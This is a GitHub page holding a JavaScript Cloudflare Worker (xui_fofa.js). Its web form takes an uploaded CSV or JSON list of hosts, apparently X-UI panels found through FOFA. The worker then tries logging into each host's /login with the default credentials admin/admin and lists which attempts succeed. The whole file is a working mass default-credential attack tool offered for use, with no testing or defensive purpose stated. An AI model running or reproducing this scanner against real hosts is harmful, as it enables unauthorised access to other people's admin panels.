forked from EDtunnel-rev/CFWorkers
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathxui_fofa.js
More file actions
149 lines (133 loc) · 3.91 KB
/
xui_fofa.js
File metadata and controls
149 lines (133 loc) · 3.91 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
export default {
async fetch(request) {
if (request.method === 'GET') {
// 返回简单的 HTML 界面
return new Response(renderHTML(), {
headers: { 'content-type': 'text/html;charset=UTF-8' },
});
}
if (request.method === 'POST') {
// 获取上传的文件
const formData = await request.formData();
const file = formData.get('file');
const fileType = file.name.split('.').pop().toLowerCase(); // 获取文件扩展名
if (!file) {
return new Response('No file uploaded', { status: 400 });
}
// 根据文件类型解析
let hosts;
if (fileType === 'csv') {
const csvText = await file.text();
hosts = parseCSV(csvText);
} else if (fileType === 'json') {
const jsonText = await file.text();
hosts = parseJSON(jsonText);
} else {
return new Response('Unsupported file type. Please upload a CSV or JSON file.', { status: 400 });
}
// 执行登录测试
const results = await runLoginTests(hosts);
// 返回带有结果的 HTML 页面
return new Response(renderHTML(results), {
headers: { 'content-type': 'text/html;charset=UTF-8' },
});
}
return new Response('Method Not Allowed', { status: 405 });
}
}
// 渲染简单的 HTML 界面,包括文件上传和结果展示
function renderHTML(results = []) {
let resultsTable = '';
if (results.length > 0) {
resultsTable = `
<h2>测试结果:</h2>
<table border="1" cellpadding="5" cellspacing="0">
<tr>
<th>Host</th>
<th>Result</th>
</tr>
${results.map(result => `
<tr>
<td>${result.host}</td>
<td>${result.result}</td>
</tr>
`).join('')}
</table>
`;
}
return `
<html>
<head>
<title>Login Test</title>
</head>
<body>
<h1>上传 CSV 或 JSON 文件并开始测试</h1>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" accept=".csv,.json" required />
<input type="submit" value="上传并开始测试" />
</form>
${resultsTable}
</body>
</html>
`;
}
// 解析 CSV 文件为 host 列表
function parseCSV(csvText) {
const lines = csvText.split('\n');
const hosts = [];
// 假设CSV第一行是列标题
for (let i = 1; i < lines.length; i++) {
const columns = lines[i].split(',');
if (columns[0]) {
hosts.push(columns[0].trim()); // 提取第一列作为host
}
}
return hosts;
}
// 解析 JSON 文件为 host 列表
function parseJSON(jsonText) {
try {
const data = JSON.parse(jsonText);
if (Array.isArray(data)) {
return data.map(item => item.host || '').filter(Boolean);
}
return [];
} catch (error) {
throw new Error('Invalid JSON format');
}
}
// 执行登录测试
async function runLoginTests(hosts) {
const results = [];
for (const host of hosts) {
try {
const loginUrl = `https://${host}/login`;
const payload = new URLSearchParams({
username: 'admin',
password: 'admin',
});
const response = await fetch(loginUrl, {
method: 'POST',
headers: {
'accept': 'application/json, text/plain, */*',
'content-type': 'application/x-www-form-urlencoded',
},
body: payload,
});
// 处理响应并判断登录是否成功
if (response.status === 200) {
const json = await response.json();
if (json.success) {
results.push({ host, result: 'Success' });
} else {
results.push({ host, result: 'Failed - Incorrect response' });
}
} else {
results.push({ host, result: `Failed - Status ${response.status}` });
}
} catch (error) {
results.push({ host, result: `Error - ${error.message}` });
}
}
return results;
}